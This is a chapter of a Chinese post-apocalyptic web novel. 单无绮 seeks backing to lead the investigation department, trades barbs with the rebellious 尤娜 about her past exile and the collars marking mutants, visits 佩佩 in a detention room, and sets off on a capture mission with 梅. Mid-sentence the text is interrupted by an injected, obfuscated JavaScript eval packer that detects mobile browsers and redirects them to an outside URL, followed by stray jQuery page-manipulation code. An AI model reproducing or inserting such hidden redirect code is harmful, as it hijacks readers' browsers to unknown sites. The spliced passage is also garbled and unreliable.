5. 叛逆的尤娜

作品:《狗牌[废土]

    阎银华和单无绮对视。


    良久,阎银华突然大笑起来。


    阎银华的笑声,像是从肺腑中猛烈迸发,畅快、豪放、释然。


    随着他大笑的动作,他似乎吐掉了一股看不见的浊气,整个人愈发精神抖擞。


    “好!好!好!”阎银华连说三个好字,“不愧是你,单无绮,我都忍不住怀疑,你所谓的失忆,是否只是麻痹我们的假象。”


    单无绮没有回话。


    “调查司很重要。”阎银华收敛笑意。


    他竟然开始讨价还价:“我可以让你成为其他司室的司长,但调查司,我一个人做不了主。”


    单无绮盯着阎银华。


    她品出了阎银华的深意:“我要成为调查司司长,需要几个人背书?”


    “三个。”阎银华伸出三根手指。


    单无绮笑了一声。


    她走近阎银华,将他竖起的三根手指掰下一根。


    “现在,还需要两个。”单无绮极轻地笑了一声,“银老头,我确认一下,这两人至少需要什么级别?”


    阎银华看着自己两根竖起的手指。


    他抬了抬眉毛,竟显出几丝看戏的狡黠。


    “核心党员。”阎银华答道。


    单无绮又掰下一根手指:“那么,我只需要搞定一个人了。”


    阎银华再次看向自己的手。


    他笑道:“方便告诉我,除了我,支持你的另一位核心党员是谁吗?”


    “梅。”单无绮答。


    这是个意料之外,情理之中的答案。


    阎银华有点意外。


    他并不知道梅和单无绮何时搭上了线,但作为一人之下的部级核心党员,他的老练与修养让他没有流露出一丝破绽。


    阎银华收回手:“我以为你会说萨摩。”


    “萨摩是个狼崽子,披着警犬的皮,做的事全不是人事。”单无绮无情地点评,“当我是友方时,他或许会因为人情世故的匮乏,而不知如何与我相处。但当我站在他的对立面……”


    回忆起禁闭室的三天里,那流水般的刑具和拷问,单无绮抖了抖。


    她继续道:“若非有人留我一命,他的獠牙,下一秒就会咬断我的咽喉。”


    阎银华极富深意地盯了单无绮一眼。


    他说:“未必。”


    “什么未必?”


    “萨摩是个好孩子,他是四部里唯一的正常人。”


    “说人话!”


    “去看一看佩佩吧。尤娜,你带无绮过去。”阎银华笑呵呵地转移话题,“三天后,基地将启动第127次壁外调查,这三天里,你需要好好熟悉一下你的队友。”


    尤娜起身。


    单无绮瞪视阎银华,阎银华笑眯眯。


    这老头眨眼间恢复了和蔼的模样,但单无绮知道,他不过是将锋芒收入了刀鞘。


    理智占据高地。


    单无绮重新挂上笑容。


    “银老头,感谢你对我的支持,你可千万不要跳票啊。”她笑嘻嘻地说,“等我说服萨摩,如果你这一票没了,我就只能厚着脸皮去求首长了。”


    阎银华没吭声。


    单无绮看向等待了一阵的尤娜:“麻烦你啦,请你带我去佩佩那里吧!”


    尤娜颔首:“跟我来。”


    单无绮和尤娜离开办公室,阮禾犹豫片刻,起身随行。


    庄修文和维沙尔没有跟来。


    单无绮不关心他们和阎银华有什么话要谈。


    尤娜走在最前面,黑色皮衣披挂着银饰和黑羽,裁剪得有些破碎的黑色短裙下,黑丝袜裹住她骨肉均亭的双腿。


    单无绮盯着尤娜。


    黑羽将尤娜的脖颈团团簇拥,仿佛雏鸟蓬松的翎毛。


    尤娜扭头:“看什么?”


    单无绮缩了下脖子。


    她对漂亮女孩子一向没脾气:“抱歉。”


    尤娜冷哼一声,扭过头,粗鲁地扒开颈部的毛领。


    ——她的颈上,黑色拘束器反射着微光。


    尤娜等待了三秒。


    确认单无绮看清了,她把毛领扒回去,将拘束器重新遮好。


    尤娜继续带路。


    尤娜明显情绪不佳,铆钉靴将地板踩得咚咚响。


    阮禾走在单无绮身侧,不纯蓝的眼睛看向单无绮。


    “抱歉啊,单姐。”阮禾比单无绮矮半个头,眼睛又大又灵,盛满了丰沛的情感,“尤娜她……最近心情不是很好。”


    单无绮和阎银华唇枪舌剑,但单无绮的锋芒从不会对准女孩子。


    单无绮理解地笑了笑:“没关系,尤娜很好,我喜欢她。”


    尤娜的脚步微不可察地顿了一下。


    下一秒,尤娜继续往前走,脚步声跺得更响了。


    阮禾无奈地叹了口气。


    她问出内心的疑惑:“你和阎老是什么关系呀?”


    “现在吗?上司和下属吧。”


    “那从前呢?”


    “从前的事,我一概全忘了。”单无绮看着阮禾,“我还要向你打听呢,从前的我,是个怎样的人?”


    阮禾眨了下眼睛。


    “自大、傲慢、偏执,四部乃至基地最疯的疯子,所有见过你的人都敬畏你,所有没见过你的人都景仰你。”尤娜突然插话。


    单无绮和阮禾停下脚步。


    单无绮看着尤娜的背影:“这是大家对我的评价吗?”


    “是,但不全是。”尤娜的腔调有种奇异的优雅,“在我看来,任何全褒或全贬的评价都不真实。流言是最好散播的,羊群只顾在头羊后面吃草,并不关注他们置身怎样一片草地。”


    尤娜没有转身,单无绮看不见她脸上的表情。


    单无绮笑了声:“介意说说你对我的评价吗?”


    “自大、傲慢、偏执,和流言里一模一样。”尤娜说道,“针对你的坏话,倒是一比一的真实,但他们忘了讨论你好的一面。”


    “你有一种兽性,单无绮。”她转过身,黑眸里闪烁着高傲的光彩。


    阮禾:“……”


    单无绮:“……”


    单无绮:“这是夸人的话吗?”


    “人是从野兽脱胎出来的,但向上进化的途中,人逐渐忘记了来时的路。”


    尤娜的眼神变得尖锐:“看看基地里的那些蠹虫!公民庸庸碌碌,付出一整个白日乃至黑夜的汗水,却只能换来勉强饱腹的薪水;党员以挤进四部为荣,将虚伪的冠冕视作他们的全部;而核心党员……”


    尤娜停顿了一下。


    她的表情顷刻间无比讥诮:“他们自以为站在所有人的肩膀上,但人类依然龟缩在这座小小的基地里。”


    阮禾惊慌道:“尤娜,尤娜……”


    “我说错了吗,阮禾?”尤娜锋利地看着阮禾,“你就是性子太软了,才被人夺去评选核心党员的资格,取代你的那人,连真正的血都没见过!”


    阮禾缩回伸出一半的手。


    她失落地站在单无绮身边。


    即使被人指着鼻子指责,她都没有一丝反驳的欲望。


    单无绮抠了抠脑袋:“我听不太懂,尤娜。”


    “我是听着你的传闻长大的,虽然你的年龄比我还小,单无绮。”尤娜环起手臂,“你不知道,你的流放对四部造成了多大的冲击。”


    单无绮来了兴致。


    她说:“愿闻其详。”


    “首长最得力能干的副官,竟然犯下足以被流放的重罪!”尤娜说。


    “你的拥趸为你洗白,说那是莫须有的罪名,你的政敌弹冠相庆,用尽手段把你的罪名坐实、夸大。”


    尤娜走近单无绮,黑眸盯着单无绮的脸,“你离开的三年里,他们利用基地的喉舌,把你批驳成一个不可饶恕的罪人。他们从没想过你还会回来,此时此刻,那些抹黑你的人,大概正缩在被子里瑟瑟发抖吧。”


    单无绮沉思。


    她摸着下巴,喃喃道:“……难搞了。”


    尤娜的眸子里闪烁着兴奋的光:“什么难搞?复仇吗?”


    “我还真的只能去说服萨摩投票了,毕竟我的名声已经臭了。”单无绮弹了弹脖子上的拘束器,“更别提我还戴着狗牌,这可是我身为异种的铁证。”


    尤娜激动的神色一瞬间黯淡了。


    她堪称失望地看着单无绮:“你这个懦


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14429114|153866||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    夫。”


    此后,三人一路无话。


    单无绮来到了尤娜口中的“那里”。


    那是团结部设立的禁闭室,和特情司的禁闭室不同,没有流水的刑具,没有令人窒息的拷问,只有伸手不见五指的黑暗。


    佩佩缩在安多尼的怀里,恢复了一半的人形。


    安多尼坐在地上,垂着头,粗大的手指一刻不停地滚动着念珠。


    见单无绮几人到来,他抬起头,将食指竖在唇上。


    “嘘。”这位巨人说,“佩佩睡着了。”


    向三人嘱咐后,安多尼重新低下头。


    他的手指轻柔地抚过佩佩的脸,唇齿间吐出低弱的祈祷。


    祈祷时,七十二颗玫瑰念珠散发着微弱的荧光。


    单无绮看着那些念珠。


    她从那上面感受到一种遥远的呼唤。


    “那些念珠是什么?”单无绮问。


    “晶核。”阮禾答,“安多尼的每一颗念珠,都代表一个被他杀死的异种。”


    单无绮回忆起刚苏醒的那段时光。


    几只不长眼的异种向她扑袭,她杀掉了它们。


    每个异种的大脑里,都有一颗晶莹剔透的不规则晶体。


    单无绮看向安多尼的脖颈。


    ——没有拘束器。


    她又看向尤娜。


    即使在昏暗的禁闭室里,尤娜的拘束器仍然闪着微光。


    尤娜杀过的异种,只会比安多尼更多。


    “你很厉害,尤娜。”单无绮由衷地赞美。


    尤娜愣了一下,用力偏过头。


    咚咚咚!


    禁闭室的门突然被敲响。


    佩佩惊醒了。


    她在安多尼怀里打了个哆嗦,又揉着眼睛,恢复了人类的模样。


    尤娜开口:“什么人?”


    “你果然在这里!”门外的那人松了口气,开门而入。


    那人穿着制式服装,胸佩铜制剑徽,肩上空荡荡的,没有流苏,帽子的款式也和萨摩、梅两人不同,看起来是个普通党员。


    那人没想到禁闭室里有这么多人。


    他的目光扫过所有人,待看到单无绮这张生面孔时,他疑惑地“咦”了一声。


    他对单无绮问道:“请问你是……?”


    “你是谁?”单无绮反问道。


    “啊,我叫耶纶!”


    “单无绮。”单无绮看着耶纶,她明显地看到,后者的瞳孔猛烈收缩了一下,“你找调查司什么事?”


    耶纶无措地看向尤娜。


    尤娜偏回头,冷哼道:“你和她说吧。”


    “……外城发现一起异种侵袭事件,梅司长说,请求调查司配合活捉。”耶纶紧张得不行,甚至咬了一下舌头,“请、请你们派出至少两人支援,执行队已经等在楼下了!”


    “好。”单无绮道,“我和尤娜过去。”


    “我才不去!”尤娜激烈地反驳。


    “求求你啦,尤娜,陪我去吧。”单无绮恳求道,“我是个没了记忆的小可怜,如果你不陪着我,他们都会欺负我的。”


    尤娜的睫毛飞快抖动。


    她微弱地答:“……好。”


    二人随耶纶下楼。


    一支全副武装的小队已经候在楼下。


    他们见到单无绮这个生面孔,彼此窃窃私语。


    领头的那人喝了一声,又上前一步,对单无绮行了个军礼。


    “你好,单专员,我是麦尧,执行二队的队长。”麦尧铿锵道,“此次行动,麻烦你和尤娜专员配合我们。”


    “麦尧,这次由我带队。”一个声音突然说。


    所有人看向发声的那人。


    他穿着一长一短的靴子,单肩缀着流苏,帽子斜戴,胸口的铜制剑徽在阳光下反射着微光。


    “哟,梅。”单无绮抬了抬下巴。


    “不错,有长进。”梅向麦尧颔首,来到单无绮身边。


    他高挑纤细,整个人仿佛一只精美的蝴蝶刀。


    单无绮看着梅:“我正好有事要找你。”


    “之后再说。”梅哼笑道,“咱们先去外城,那里上演着一场好戏呢。”